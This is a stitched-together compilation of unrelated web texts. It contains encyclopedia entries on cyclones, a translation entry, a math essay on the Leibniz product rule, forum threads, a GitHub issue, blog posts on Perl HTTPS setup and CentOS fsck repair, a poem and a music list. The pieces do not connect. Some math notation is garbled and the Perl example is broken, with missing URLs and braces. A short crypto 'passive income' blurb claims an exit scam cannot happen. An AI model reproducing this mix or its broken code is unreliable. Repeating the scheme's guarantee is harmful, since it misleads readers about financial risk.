from the top to the bottom, forming an outside vortex. As the gas spirals downward, the suspended particles are flung toward the walls of the cyclone by the inertial force. The particles spiral downward with the gas stream to the bottom of the cyclone and are then removed through a dust outlet. The cleaned gas spirals upward through an outlet pipe, forming an inside vortex, and leaves the device.
Cyclones in which the gas enters axially are also used. In such devices, rotational motion is imparted to the gas stream by a guide vane, which may be a screw or an impeller with canted blades.
The extent to which dust can be removed from a gas by a cyclone depends on the geometric dimensions and the shape of the cyclone, the properties of the dust, the velocity of the gas stream, and certain other factors. The collection of particles in a cyclone may be improved by increasing the velocity of the gas stream (the most effective velocities range from 20 to 25 m/sec) or by reducing the diameter of the cyclone. Therefore, an arrangement of several cyclones in parallel is used to obtain a high collection efficiency when a large amount of gas is to be cleaned. In cyclones of the most advanced design, particles with a diameter of 5 micrometers or larger may be collected with a sufficiently high efficiency. (See alsoLIQUID CYCLONE.)
an atmospheric disturbance characterized by low pressure at the center and vortical movements of air. A distinction is made between extratropical and tropical cyclones. The latter have special properties and occur less frequently (see).
The barometric pressure in a cyclone is lowest at its center and increases toward the periphery; that is, the horizontal pressure gradients are directed from outside the cyclone inward. In a mature cyclone, the pressure at the center at sea level may drop to 960–950 millibars (1 bar = 105 newtons/m2) and occasionally down to 930–920 millibars; the average pressure at sea level is about 1,012 millibars. Closed isobars (lines of equal pressure), shaped like an irregular oval, bound the region of low pressure, which may be anywhere from a few hundred to 2,000–3,000 km in diameter and in which the air is moving in a vortex. In the free atmosphere, above the boundary layer, which is approximately the first 1,000 m, the air moves approximately along the isobars, deflecting from the pressure gradient at an angle close to 90° to the right in the northern hemisphere and to the left in the southern hemisphere; this occurs as a result of the Coriolis force and the centrifugal force that arises during movement along curved trajectories. In the boundary layer, the force of gravity causes the wind to deviate to some extent, depending on elevation, from the isobars toward the pressure gradient. At the surface of the earth, the wind and the pressure gradient form an angle of about 60°; that is, the flow of air toward the center of the cyclone is joined to the vortical movement of the air. The lines of flow resemble spirals, converging at the center of the cyclone. The wind velocities in a cyclone are greater than in adjacent regions of the atmosphere, sometimes reaching more than 20 m/sec (storm) and even 30 m/sec (hurricane).
Cloudy weather predominates in a cyclone because of the ascending components of air movement, particularly near the fronts. Cyclones are responsible for most of the precipitation occurring in the extratropical latitudes. As a result of the vortical air movements, air masses of different temperatures from different latitudes of the earth are drawn into the cyclone region. The temperate differences within a cyclone are related to this. This applies particularly to traveling cyclones that occur along the main fronts of the troposphere (the arctic, antarctic, and polar fronts). Weak cyclones are also observed above the warm parts of the earth (deserts and inland seas). Called thermal lows, such cyclones are relatively immobile and have a fairly even temperature distribution.
At higher elevations, the isobars of a cyclone gradually lose their closed form. This occurs in different ways, depending on the stage of development of the cyclone and the temperature distribution within it. In the first stage of development, a traveling (frontal) cyclone engulfs only the lower part of the troposphere, while at its stage of greatest development, it may spread through the entire troposphere and even extend into the lower stratosphere. Thermal lows are always restricted to the lower troposphere.
Traveling cyclones generally move from west to east. The direction of movement of a given cyclone is determined by the direction of the general transfer of air in the upper troposphere. Movement in the opposite direction, that is, from east to west, is rare. The average velocity of a cyclone’s movement is 30–45 km/hr, but there are cyclones that move faster, up to 100 km/hr, especially in the initial stages of development. In the concluding stage, a cyclone may remain immobile for a long time. The movement of a cyclone through a certain region causes sharp and significant local changes not only in atmospheric pressure and wind but also in air temperature, humidity, cloudiness, and precipitation.
Traveling cyclones usually develop along the main fronts of the troposphere, which have originated earlier; they are wave-like disturbances as the air flows along both sides of the front. Unstable frontal waves grow into cyclonic vortices. Moving along the front, which is usually extended latitudinally, the cyclone itself alters the front, giving rise to meridional components of the wind and thus promoting the transfer of the warm air in the forward (eastern) part of the cyclone toward the higher latitudes and the transfer of the cold air in the rear (western) part toward the lower latitudes. In the southern part of the cyclone, a warm sector, which is bounded by a warm front and a cold front, is created in the lower layers (the stage of a young cyclone). Then, when the cold and warm fronts merge (occlusion of the cyclone), the warm air is forced away from the earth’s surface by the cold air into the higher layers. The warm sector is eliminated, and a more even temperature distribution is established in the cyclone (the stage of an occluded cyclone). The reserve of energy capable of being converted into kinetic energy runs out in the cyclone, and thus the cyclone dissipates or merges with another cyclone.
A series, or family, of cyclones, consisting of several cyclones moving one after another, usually develops along a main front. At the end of the series’ development, individual cyclones that have not yet dissipated merge together into a vast, relatively immobile, deep, and high central cyclone consisting of cold air throughout its height. This cyclone also gradually dissipates. Anticyclones, with high pressure at the center, develop between cyclones at the same time as the cyclones form. The entire process of a particular cyclone’s development takes several days; a cyclone series and the main cyclone may exist for one or two weeks. At any given moment, there are several main fronts and the cyclone series associated with them in each hemisphere; the total number of cyclones in a given year runs into several hundred over each hemisphere.
There are certain latitudes and regions in which the formation of main fronts and frontal disturbances occurs quite regularly. As a result, there are certain geographic regularities in the frequency of occurrence and movement of individual cyclones and anticyclones and cyclone and anticyclone series; that is, there exist patterns of cyclonic activity. However, the effects of land and sea, topography, orography, and other geographical factors on the formation and movement of cyclones and anticyclones and their interaction make the general picture of cyclonic activity quite complex and fast-changing. Cyclonic activity leads to interlatitudinal exchange of air, movement, heat, and moisture, which makes it important in the atmospheric general circulation.
Palmén, E., and C. Newton. Tsirkuliatsionnye sistemy atmosfery. Leningrad, 1973. (Translated from English.)
Petterssen, S. Analiz i prognoz pogody. Leningrad, 1961. (Translated from English.)
Khromov, S. P. Osnovy sinopticheskoi meteorologii. Leningrad, 1948.
Zverev, A. S. Sinopticheskaia meteorologiia i osnovy predvychisleniia pogody. Leningrad, 1968.
Pogosian, Kh. P. Tsiklony. Leningrad, 1976.
(chemical engineering)
A static reaction vessel in which fluids under pressure form a vortex.
(mechanical engineering)
Any cone-shaped air-cleaning apparatus operated by centrifugal separation that is used in particle collecting and fine grinding operations.
A low-pressure region of the earth's atmosphere with roundish to elongated-oval ground plan, in-moving air currents, centrally upward air movement, and generally outward movement at various higher elevations in the troposphere.
cycloneclick for a larger image
A severe weather system with low central pressure. In the fully matured stage, it develops an eye at the center where there is no weather. The eye is surrounded by an inner circle of intense winds and rotating cloud mass. Around the inner circle is the outer circle, which has less fierce weather. The diameter of a cyclone can extend up to 320 miles (500 km). These are known as cyclones if they form in the Bay of Bengal and the Arabian Sea, where the wind speed is between 34 and 64 knots. The same name applies to the storms in the South Pacific region but when the speed exceeds 65 knots. All cyclones are given names by the World Meteorological Organization (WMO).
1. another name for depression
2. a violent tropical storm; hurricane
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Translation of ferocious in Spanish:
feroz, adj.
Pronunciation /fəˈroʊʃəs//fəˈrəʊʃəs/
• 1
(savage, cruel)
(animal) feroz
(animal) fiero
(appearance) feroz
a ferocious attack un ataque violento
• It was beautiful, it was terrible, it was ferocious, it was the stuff of desperation.
• She was a ferocious, fierce soldier, one who would go far.
• Experts on arguably the nation's most ferocious beast, say the cold February and March mean midges will appear about a month later than normal.
• The latter wild and ferocious creatures are so dangerous they have to be anaesthetised fully for Liam to work on them.
• They are ferocious beasts, killers, they devour anything in their path.
• Panicked images of starvation, destruction, and attacks by various ferocious wild animals clouded her vision.
• Would it not seem miraculous to the cave person that we could produce fire from our hands and that we could kill even the most ferocious beast just by pointing at it?
• The Brazilian wilderness provided images for nature in its ferocious, unrelentingly brutal aspect.
• Far from being the ferocious beast of fishing tales, I have found them shy, and rarely aggressive.
• Those more ferocious animals were kept away while those less dangerous and more pleasing were allowed out.
• Those who oppose the government do so with some trepidation because it used ferocious violence in the past to silence any challenge.
• She looked less ferocious and was actually smiling brightly at us.
• They looked up to see hundreds of small, ferocious looking beasts.
• The animal is a most ferocious and savage looking one.
• 2
(competition/criticism) feroz
(criticism/competition) despiadado
(argument) violento
(heat) atroz
• As they make their way across the North Pacific to San Francisco ferocious storms and heavy seas will have to be endured.
• The tackling from both sides was ferocious and uncompromising.
• Global warming has caused rising sea levels and more ferocious storms with bigger waves.
• Chaos descended across South Lakeland at the weekend as severe downpours and ferocious winds caused widespread flooding and damage to property.
• He also paid tribute to the work of London Fire Brigade in tackling the blaze and rescuing three of the children in extremely ferocious conditions.
• The ferocious cost-cutting will inevitably have serious implications for airline safety.
• The ferocious weather inflicted severe damage to body panels and windscreens.
• He doesn't like troublemakers and has his own way of dishing out his own ferocious brand of punishment.
• One of the most ferocious divides today is that between evangelical and secular America.
• She leaned back for a moment to accept everything, a ferocious headache on its way.
• Sustained rain and ferocious winds caused severe weather conditions across Cumbria overnight on Friday, some of the worst the region has seen for decades.
• They are built to withstand ferocious conditions at sea, including waves in excess of 23 metres and winds over 100 knots.
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In calculus class you learn a rule, called the product rule, for finding the derivative of the product of two functions:
(fg)′ = f′ g + f g′.
Mathematicians like to generalize things, and there are several generalizations of the product rule, each in its own context. But we also like to associate theorems with a famous name, and Leibniz has gotten his name stuck to this one; so whenever we construct a calculus with an idea of differentiation in it, the formula that tells what the derivative of the product of two things is, is called a Leibniz rule. In this node I present two commonly encountered cases.
1. Bilinear maps on Banach spaces
The first one generalizes the idea of "product". If you know vector calculus, you may know that you differentiate the dot product as if it were an ordinary product: if x(t), y(t) are two vectors varying with time,
(xy)′ = x′ ⋅ y + xy′.
You can prove this by calculation, reducing to the ordinary product rule, but it is more interesting to notice the general phenomenon. If you're not familiar with the derivative as linear transformation instead of number, this theorem will be hard to understand; read derivative first.
Theorem 1. Let E, F, G be Banach spaces, B a continuous bilinear map E × F → G. Then B is differentiable everywhere on E × F, and its derivative is DB(x, y)(u, v) = B(u, y) + B(x, v).
1. The ordinary product rule corresponds to the case E = F = G = R (or C), B(x, y) = μ(x, y) = x y. Numerical multiplication is the prototypical example of a bilinear map: it is linear in each slot for fixed values of the other slot:
(α x1 + β x2) y = α (x1 y) + β (x2 y), x (α y1 + β y2) = α (x y1) + β (x y2).
In this case the derivative is DB(x, y)(u, v) = u y + x v. Note that this tells you the derivative of multiplication. To get the first-year calculus product rule from this, you have to remember that if f: RR is a numerical function, its "first-year calculus derivative" is f′(t) = Df(t) 1, where 1 is 1 thought of as a tangent vector to R. Now apply the chain rule:
f(t) g(t) = (μ o (f, g))(t) so (f g)′(t) = D(μ o (f, g))(t) 1 = Dμ(f(t), g(t)) (Df(t) 1, Dg(t) 1) = f(t) g′(t) + f′(t) g(t).
2. Dot product is the same deal, with E = F = Rn, G = R, B(x, y) = δ(x, y) = x ⋅ y. If you have two vector functions of time x(t), y(t), it is still true that x′(t) = Dx(t) 1, so the same application of the chain rule gives
(xy)(t) = D(δ o (x, y))(t) 1 = x(t) y′(t) + x′(t) y(t).
3. But there are many more interesting examples which justify the generalization. For instance, in the space L(E; E) of continuous linear operators on a Banach space E, composition is a bilinear map:
T (α S1 + β S2) = α T S1 + β T S2, etc.
So if you have two operator-valued functions T(x), S(x): F → L(E; E) (where F is some other space), you can differentiate the composition:
D(T S)(x) U = T (DS(x) U) + (DT(x) U) S.
Note that these derivatives live in L(L(E; E); L(E; E)), so they take an operator argument U ∈ L(E; E).
Proof of Theorem 1. Like most simple theorems about derivatives, this one is proved by a direct computation: given a point (x, y) and an increment (u, v) in E × F,
B(x + u, y + v) − B(x, y) = B(u, y) + B(x, v) + B(u, v).
To show that DB(x, y)(u, v) = B(u, y) + B(x, v) it therefore suffices to prove that B(u, v) = o(||(u, v)||E×F), that is, B(u, v) vanishes to second order at zero. Here the norm on E × F is the max-norm ||(u, v)||E×F = max {||u||E, ||v||F}; it is uniformly equivalent to the Euclidean product norm, and easier to compute with. But since B is a continuous bilinear map, we know
||B(u, v)||G ≤ ||B||L(E, F; G) ||u||E ||v||F ≤ ||B||L(E, F; G) ||(u, v)||E×F2 = o(||(u, v)||E×F). ///
2. Higher derivatives, but finite dimensions
What if you want to take higher derivatives of the product of two functions? Applying the product rule twice gives
(f g)″ = f″ g + 2 f′ g′ + f g″
and iterating yields the binomial coefficients. This result extends to functions of several variables and partial derivatives, becoming the theorem that students of partial differential equations know as the Leibniz rule.
Theorem 2. Fix an open set U ⊂ Rn, and let P(x, ∂) = ∑|α|≤m aα(x) ∂α be any linear partial differential operator of order m, with smooth coefficients aα ∈ C(U). (α denotes a multi-index.) If u, v are two Ck functions (k ≥ m) on U, then
P(x, ∂)(u v) = ∑|&alpha|≤m P(α)(x, ∂)u ⋅ ∂αv / α!
where P(α)(x, ∂) denotes the operator whose symbol is the α derivative in the ξ variables of the symbol of P; that is,
P(α)(x, ∂) = Q(x, ∂) where Q(x, ξ) = ∂αP(x, ξ), the derivative applied to the ξ slots of P.
The simple case is n = 1, so that U is just an open set in R. In this case P(x, ξ) = ∑0≤i≤m ai(x) ξi is the symbol of an ordinary differential operator of order m (∂ is just d/dx), and the ξ derivatives of P are
P(j)(x, ξ) = ∑j≤i≤m i (i − 1) ... (i − j + 1) ai(x) ξi−j = ∑j≤i≤m j! C(i, j) ai(x) ξi−j.
(C(i, j) is the binomial coefficient i! / j! (i − j)!.) Hence in this case our formula reads
P(x, ∂)(u v) = ∑0≤j≤m P(j)(x, ∂)u ⋅ ∂jv / j! = ∑0≤j≤mj≤i≤m C(i, j) ai(x) ∂i−ju ∂jv.
If P(x, ∂) is just (d/dx)m, so that am(x) = 1 and ai(x) = 0 if i ≠ m, this reduces to
P(x, ∂)(u v) = ∑0≤j≤m C(m, j) ∂m−ju ∂jv
which agrees with the result of iterating the familiar product rule.
Proof of Theorem 2. Observe that both sides of the desired equation are linear in the terms of the operator P and the C coefficients aα (the right side since the derivatives P(α) are taken in the ξ slots, not the x slots, of P(x, ξ)). Thus it is enough to prove the formula in the case where P(x, ∂) = ∂β is a single (monomial) differential operator, with constant coefficient 1, of order |β| = m. In this case the desired formula reduces to
β(u v) = ∑α≤β P(α)(x, ∂)u ⋅ ∂xαv / α! where P(α)(x, ξ) = ∂ξαξβ.
Here the subscripts ∂ξ and ∂x denote differentiations taken on the ξ and x slots respectively. (The sum restricts from all multi-indices of weight |α| ≤ m = |β|, to only those with α ≤ β (that is αj ≤ βj in every coordinate), since ∂ξαξβ = 0 unless α ≤ β.) Now
ξαξβ = ∏1≤j≤n βjj − 1) ... (βj − αj + 1) ξjβj−αj = ξβ−α β! / (β − α)!,
so the formula we want to prove is now
β(u v) = ∑α≤β C(β, α) ∂β−αu ∂αv
where C(β, α) is the multi-index binomial coefficient β! / α! (β − α)! = ∏1≤j≤n C(βj, αj). This last formula may be proved by induction on the weight |β| = m. When m = 0 it is trivially true. Suppose then the result known for β of weight up to m, and let γ be a multi-index of weight 1 with γi = 1 and γj = 0 for j ≠ i. Compute
β+γ(u v) = ∂jα≤β C(β, α) ∂β−αu ∂αv
= ∑α≤β C(β, α) (∂β−α+γu ∂αv + ∂β−αu ∂α+γv)
= ∑-γ≤α≤β (C(β, α) + C(β, α+γ)) ∂β−αu ∂α+γv
= ∑0≤α+γ≤β+γ C(β+γ, α+γ) ∂(β+γ)−(α+γ)u ∂α+γv
which is the desired formula with α+γ substituted for α. Here C(β, α) + C(β, α+γ) = C(β+γ, α+γ) is just the multi-index translated formula of the familiar addition identity C(n, k) + C(n, k+1) = C(n+1, k+1); it is not true in general, but works in this case since γ has weight 1 and so only one of the n factors of the product changes. The proof is complete. ///
Section 1. Jean Dieudonné, Foundations of modern analysis, (8.1.4). Academic Press 1960, 1969 (out of print).
Section 2. Lars Hörmander, The analysis of linear partial differential operators, Volume 1, (1.1.10). Springer-Verlag 1983, 1990.
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The Flaviar Times
Featured in rum
Our 10 Favourite Rum Moments in the Movies
When you’re a fan of something there’s always that “Hey did you see that” moment when you’re watching a movie and your particular fancy makes an unexpected appearance. Fleeting or otherwise, they are always special. Rum fans are no different. We all reacted the same way when...
latest in mount gay
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global_01_local_1_shard_00001926_processed.jsonl/49169
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Domestic animals in afterlife
Cuidados de salud e higiene de las mascotas y animales domésticos.
Mensajes: 8
Registrado: Sab Jun 16, 2018 9:52 am
Domestic animals in afterlife
Mensaje por depprussell » Jue Jul 26, 2018 2:25 pm
Can please anyone tell me a reference in the UB allowing me to know if we can find our personal domestic animals (cat, dog...) in the afterlife, or if death (of an animal of its "possessor") means a definite separation of our souls, or counsciousness with theirs? In other words, is earthly life with our beloved animals only earthly?? and after life, no more contact with one another?
Please help
I didn't find the right solution from the internet.
Startup video production service
Volver a “Animales Domésticos”
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global_01_local_1_shard_00001926_processed.jsonl/49183
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Fiverr Forum
My gig service 3d renderings
So this is the reply I got from the Buyer
Before getting into the story let me explain you what kind of service I provide.
I provide label designs and also I will do 3D renderings of the product.
So this client contacted me and asked me to render her product, she already have the the label designed and she asked me to do the 3D rendering of the product. So I have sent her a custom offer and she accepted it. After 2 days I have delivered the work. This is the conversation we had after delivering the rendered Image.
Me - attached the 3D render of you product, xoxo. Thank you.
client - The label is overlapping on the logo?
Me - I am sorry, xoxo. This gig is for only 3d rendering. The label is designed in that way. If you want I can edit it for extra cost.
client - that label image, to you must not look correct? so why not use your common sense and think it looks like its overlapping.
It is hard to work with client like him/her. She should have noticed that before forwarding me that label. My job is to design the product and attach the label that she have provided onto the product.
So I have decided to cancel the order.
When you first got to know that label is not getting fit on the product you should have inform the buyer and should ask for additional work and cost politely.
Deliver incorrect product which is no use for him is absolutely unprofessional.
I have to agree with @sparx_intros.
You should have noticed it as well.
Though it’s not that the label doesn’t fit on the product, it seems that the design of the label seems to be wrong according to the OP. ie. there’s something in the label that is overlapping a logo in the image the buyer sent?
We haven’t seen it so we don’t know for sure if it looked wrong.
Buyer sent an image of a label to the seller to overlay on a 3d model. The seller did. There seems to be an issue with the label image the buyer sent (overlaps the logo in some way). If it looked incorrect the seller should have contacted the buyer. But maybe she thought it was meant to be that way (why would a buyer send an image of a label that was designed incorrectly to be placed on a 3d model?).
Also, OP says editing of the source image is not part of the gig. eg. the gig is for attaching the label image (ie. that the design of which is the responsibility of the buyer) to a 3d model (and designing a 3d model?) and rendering it and delivering that rendered image.
So I have decided to cancel the order.
Or you could have either sent an offer for the extra cost if it costs extra to edit the logo image she sent you or allowed her the option to send a revised label image to attach and then re-delivered a new render.
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global_01_local_1_shard_00001926_processed.jsonl/49185
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333ETH Passive Income on the Trustless Smart Contract
Trustless Passive Income program. What is Trustless? It means the daily payouts do not depend on any human’s intervention. Meaning that there will not be any exit scam happening for this one.
Hello admin. Please tell me, what happened to the table? On the site where there was a list of coins and their evaluation can no longer go. Instead, he throws it is not clear which site.
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global_01_local_1_shard_00001926_processed.jsonl/49192
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New Macbook for Video Editing?
Discussion in 'MacBook Pro' started by snake8, Jun 11, 2012.
1. snake8 macrumors newbie
May 8, 2012
I was hoping for a iMac refresh today, but obviously that didn't happen :( Anyways, with the spec bumps on the new Macbook I have to admit it looks pretty attractive, especially with Retina, thunderbolt, and USB3.
The question I have though (bare with me I'm not super-spec smart). How would handle HD video editing? I'm looking at doing editing with a lot of cuts, transitions, and a fair amount of effects.
I couldn't help but notice in a lot of the pictures on the apple website it shows Final Cut Pro X. Which brings me to my next question, with FCPX I know its supposed to render while you edit, so would this mean a Macbook with FCPX would mean no waiting for rendering?
Thanks for any help!
2. fs454 macrumors 68000
Dec 7, 2007
Los Angeles / Boston
Honestly, better than anything else on the market, save for an SSD-equipped 12-core Mac Pro costing upwards of $5500.
You're going to be able to see a full 1080p image within the viewer window without any scaling down, and the SSD will be blazing fast, as well thunderbolt I/O for any external drives you have.
Personally, I am selling my 8-core Mac Pro and my 11" Air and consolidating down to this notebook.
As for rendering, it'll be very, very fast. Have you used FCPX? What it does is allow you to keep editing while it renders/conforms footage in the background seamlessly anytime you aren't doing anything intensive. This notebook is currently the flagship professional machine for Apple and you can bet that it is equipped to rip through video like butter. I'd get the 16GB RAM model though, as in a few years you're going to be wishing it was upgradeable.
3. snake8 thread starter macrumors newbie
May 8, 2012
Ok thanks for the advice! I'm currently running on an OLD power pc Mac Pro (at least 7 years, I lost count), and have become frustrated trying to edit even regular definition footage (HD just causes my also old version of Final Cut to crash).
If what you say is the case I might get one of these and a cinema display so I can get an iMac type screen and still enjoy the portability of a laptop. I guess the computer/programs crashing/freezing/spinning-death-wheel and render time were my major concerns though.
4. boybrown macrumors newbie
Jun 11, 2012
Long Island
The new retina MBPs come with only Flash Drives which can't be good for use as a scratch disk with the amount of reads and writes on an SSD. However, if you also purchase a RAID drive in addition to the already $2200+MBP for use as a scratch disk in addition to all the amazing new features mentioned in the Keynote yesterday, results for HD video seem overwhelming.
Also, due to extreme budget, I use a 2008 MacBook Pro with 8GB ram and 750GB 72rpm hard drive and the results for HD video aren't as bad as I thought. Check out my youtube channel, link in the signature, for an idea.
With all the new updates featured in the new retina MBP's, the results seem exponentially upward than what I'm dealing with right now.
5. marvguitar macrumors member
Mar 12, 2011
If you are doing HD 1080p this computer will more than enough, even overkill...I predict RED 4K playback at 1/4 Res to be very smooth in Premiere. FCPX will absolutely crush 1080p with the new retina macbook pro.
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global_01_local_1_shard_00001926_processed.jsonl/49200
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Consolation Monday Video
Even at the microscopic level, we can get cute videos of animals.
To quote Asap SCIENCE:
These lil’ creatures are almost indestructible. They can withstand extreme temperatures like absolute zero to 150 degrees Celsius, survive pressures of more than 6000 atmospheres and spend prolonged exposure to the vacuum and radiation of space. During harsh conditions they can dehydrate to 1% of their water content and remain alive for an entire decade like that. When they’re not being mini superheros you can find them in moist environments, where they feed on algae and bacteria.
But if you’re watching the new Star Trek, you already knew most of that.
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global_01_local_1_shard_00001926_processed.jsonl/49204
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PowerShell Deployment Toolkit
The PowerShell Deployment Toolkit (PDT) is a set of scripts and knowledge for automated deployment of System Center 2012 SP1/R2, including SQL all prerequisites, and all automatable post-setup integration. See Building Clouds blog Deployment track for details.This is the lates
4.6 Star
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global_01_local_1_shard_00001926_processed.jsonl/49229
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New issue
Already on GitHub? Sign in to your account
Should gather default to character instead of factor for the key column? #96
klmr opened this Issue Aug 13, 2015 · 4 comments
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4 participants
klmr commented Aug 13, 2015
gather currently dispatches to reshape2::melt, and the resulting key column is of type factor, unless convert=TRUE is specified, in which case it’s converted to another type, depending on the actual data.
This default makes sense if the resulting table is used with modelling functions, but not much else. In particular, a very common workflow for me is to use gather followed by inner_join, e.g. (where counts is a gene expression experiment consisting of several libraries, and col_data is the experiment’s column data, in Bioconductor parlance, i.e. describes the experiments):
counts = gather(counts, Library, Count) %>% inner_join(col_data, by = 'Library')
This invariably yields a warning from inner_join:
joining factor and character vector, coercing into character vector
And while harmless, it’s a bit annoying, especially as this is usually in a knitr document and I don’t want to clutter my output.
convert=TRUE isn’t really what I want: For instance, I almost always want the result to be of type character, regardless of the actual data format.
Am I right in thinking that using factor rather than character as the type of the key column is more for historical reasons than actually due to a hard advantage? Would it make sense to change the default?
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hadley commented Aug 24, 2015
I used it in order to preserve the order of the columns, which is sometimes important. It's fairly easy to control in reshape2 via the factorsAsStrings argument (which is terrible name!). Maybe for tidyr, I should default it to FALSE, and provide a way to override it.
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mr-majkel commented Sep 28, 2015
I would also be interested in gather() returning character for the key column. I have had the same "problem" with reshape2::melt().
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hrbrmstr commented Oct 1, 2015
Adding my $0.02USD in support of gather not defaulting to factor for character vectors (if i can scrounge some cycles, that may be a PR at some point).
This comment has been minimized.
hadley commented Dec 30, 2015
Any ideas about what to call the argument? I'm going with factor_key for now.
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global_01_local_1_shard_00001926_processed.jsonl/49259
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How to get HTTPS and LWP working on Mac OSX
This is going to be a seriously nerdy entry: more nerdy than other things I’ve written lately. However, it appears to be a common problem that other people are struggling with at the moment. The other day, I wrote an article about how you can kick the Excel habit (the consultant’s penchant for using Excel to accomplish nearly everything) by taking advantage of some of the exciting new features offered by the Google Apps Spreadsheet. I also mentioned that the tips offered in that article barely scratched the surface of Google Apps and that really exciting things were possible by tapping into the Google Docs API.
I hoped to explore the API with Perl and come up with some more exciting things that I could share with others. When I was about to get started, I ran into a problem. At first, it didn’t make any sense (actually, it still doesn’t make much sense, but at least I got to the bottom of it). Basically, the newest version of the Apple operating system didn’t ship with one of the cryptographic libraries that accompanied earlier releases. Anyway, because of a missing cryptographic library, HTTPS calls made using the Perl’s LWP::UserAgent module failed.
Since the beginning step of using the Google Docs API requires you to collect an authentication token from Google, you have to do something like this:
#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;
# Create your user agent and post the data to Google
my $ua = LWP::UserAgent->new;
my $response = $ua->post(
accountType => 'GOOGLE',
Email => '',
Passwd => 'yourPassword',
service => 'apps',
source => 'My Sandbox',
die "\nError: ", $response->status_line unless $response->is_success;
# Extract the authentication token from the response
my $auth_token;
foreach my $line (split/\n/, $response->content) {
if ($line =~ m/^Auth=(.+)$/) {
$auth_token = $1;
print "authentication token is $auth_token\n";
If you run that on Leopard, you wind up with this:
Error: 500 Can't connect to (Invalid argument) at line 21.
The problem is that Leopard (OS 10.5) didn’t ship with Crypt::SSLeay. Of course, like everything related to Perl, there are many ways to get the module:
• You can use Fink, which you’ll need to compile from source
• You can use MacPorts, which is available as disk image
• You can download and build the module from CPAN
Although using Fink or MacPorts might be useful if you’re planning to download a lot of different modules, I don’t particularly want an entirely separate Perl environment on my computer, so I opted for the final option: install and build from CPAN. Regardless of which option you select, you’ll be compiling software from source, so if you don’t have it install already, install XCode from your Leopard DVD.
Once you’ve got XCode installed, the rest is fast and easy:
1. Download Crypt::SSLeay from
2. Place the file into a temp/downloads directory
3. Open a terminal window and switch into the directory where you put the file
4. Untar/zip your file: tar -fxz Crypt-SSLeay-0.57.tar.gz (of course, your filename will differ depending on the version of Crypt::SSLeay you download)
5. Switch into the Crypt-SSLeay-0.57 directory created during the untar
6. Run the following commands, accepting any defaults along the way:
• perl
• make
• make test
• sudo make install
The final make install command must be run as su because the installer needs to create a several directories in /System and /Library, and typical user accounts lack the necessary permissions to do so. When your install is finished, run your script. It should succeed and give you some output like this:
authentication token is DQAAAHkAAACVrZyIawDQ3UwrpPgJcKs9bs89d7s \
987d8s79ds87dwevhkjsdhsdkshdCeuNBcpNc6SndjaPI7DhiJhN9kaYfQXHfNsc1qSy7VuPdq9 \
Finally, if you don’t feel like going through the trouble of installing XCode then downloading and building Crypt::SSLeay, you could always just use curl, which comes with SSL on Leopard:
curl -d "accountType=GOOGLE& \
If you embed that as a system call in your Perl program, it will be nearly the same as having LWP::UserAgent fetch you the authentication token.
In any event, whether you use Perl or CURL, that’s likely the first step in doing something else with Google’s services, maybe something like Automating Billing with Perl and the Google Docs API.
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global_01_local_1_shard_00001926_processed.jsonl/49261
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fscking CentOS 7!
· by mpf · Read in about 2 min · (410 Words)
sysadmin centos fsck
At work, we’ve recently had problems with one of our SANS, and as a result we ended up with some filesystem corruption and a little data loss.
As part of our clean-up effort, we rebooted and checked each server, mainly by running the classic shutdown -F -r now, to force a reboot and fsck. On systems where there’s little or no damage, this does exactly what you’d expect, and you end up with the system coming back up happy, but on some CentOS 7 systems where there was corruption this is where the fun began.
Like on all modern Linux systems, if a filesystem check fails you’ll be dropped into a Maintenance Shell (or rather, prompted for the root password, and then given a shell). This shell is designed to let you do some diagnostics and in the case of filesystem problems the main thing you’re going to want to do is run fsck.
On CentOS 7 systems, you’re dropped into something called rescue mode, which is a systemd unit that does almost everything you want, except:
In rescue mode, the system attempts to mount all local file systems and start some important system services, but it does not activate network interfaces or allow more users to be logged into the system at the same time.
That’s right, it mounts the filesystems! This makes it hard to check them, especially if you have errors on /var, which auditd uses. In fact, even using fuser —k m /var failed to free the filesystem for unmounting.
I think this is particularly annoying, considering that the one of the main uses of Maintenance Modes is filesystem repair, so I set about searching the web for the answer, but despite searching for all manner of things like centos 7 recovery mode fsck and rhel 7 fsck recovery, I didn’t really get anywhere, until…
Luckily, I found a page on systemd-fsck, which controls the behaviour of fsck on startup, and has the snippet:
fsck.repair= One of “preen”, “yes”, “no”. Controls the mode of operation. The default is “ preen”, and will automatically repair problems that can be safely fixed. “yes ” will answer yes to all questions by fsck and “no” will answer no to all questions.
Perfect! So, you can force the system to fsck and repair by appending fsck.repair=yes to the kernel command line in grub. Handy! Hopefully my posting this will help some poor soul with the same problems as I had.
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global_01_local_1_shard_00001926_processed.jsonl/49263
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Little Pleasures of Being a Daddy
28 04 2008
The other night Shari and I were sitting on the couch with the TV on. I had Sam in my lap, and he was sitting up, just hanging out, really. I looked up at the TV for like ten seconds, and I looked back down at Sam and I see something like this face…
He was just grinning at me the whole time even though I wasn’t looking at him.
Then the other night at about 3 in the morning I was rocking him to sleep. He had his pacifier in his mouth, and he appeared to be almost asleep. I put my finger in his hand so he could have something to hold, and he grabbed it and started to giggle.
(more photos on the Sammy page).
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global_01_local_1_shard_00001926_processed.jsonl/49274
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What Men Call Life
I stumbled upon Samantha Mariah Jane’s blog yesterday and coincidentally she had shared a poem that her grandfather had written, shortly before he passed away. With her permission I am posting it here. I think it portraits the spiritual journey of life and death and the light and love of it all.
What Men Call Life
Who knows but life
be that which men call death,
and death, what men call life.
I picture myself about to die.
I don’t want to leave, but my time
is up. My span completed.
I say goodbye, clinging a little
to those people I’ve loved
and enjoyed.
I fill my eyes for a last time
with the incredible colors
and beauty around me, and
I brace myself and begin
the struggle of letting go.
I feel the darkness sweep over me.
I am precipitated through a long, dark, tunnel
into a light that blinds me.
I cry out in protest
and hear a voice exclaim,
“It’s a boy, Mrs. J!
You’ve just given birth
to a healthy boy!”,
and I have entered
what we call Life.
By R.A.J.
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global_01_local_1_shard_00001926_processed.jsonl/49304
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The 10 Best Beach Boys Songs You've Never Heard Of
Updated on October 17, 2009
First off, if you’re a Beach Boys fan then, yes, you will have heard all of these. However, for a lot of people, the Beach Boys are a ‘singles band’, authors of great hits such as ‘California Girls’, ‘I Get Around’ and ‘God Only Knows.’
But this assessment totally ignores that the Beach Boys made great records. Sure, there is some filler, but if you enjoy the hits the chances are you will find some gold among the lesser known tracks. The following lists some of the best of these in no particular order.
1. In the Back of My Mind: A Dennis-sung number, this mellow song is part of the second half of Today, released a year before Pet Sounds. Indeed this song showcases some of the production tricks Brian Wilson would explore in more depth on Pet Sounds.
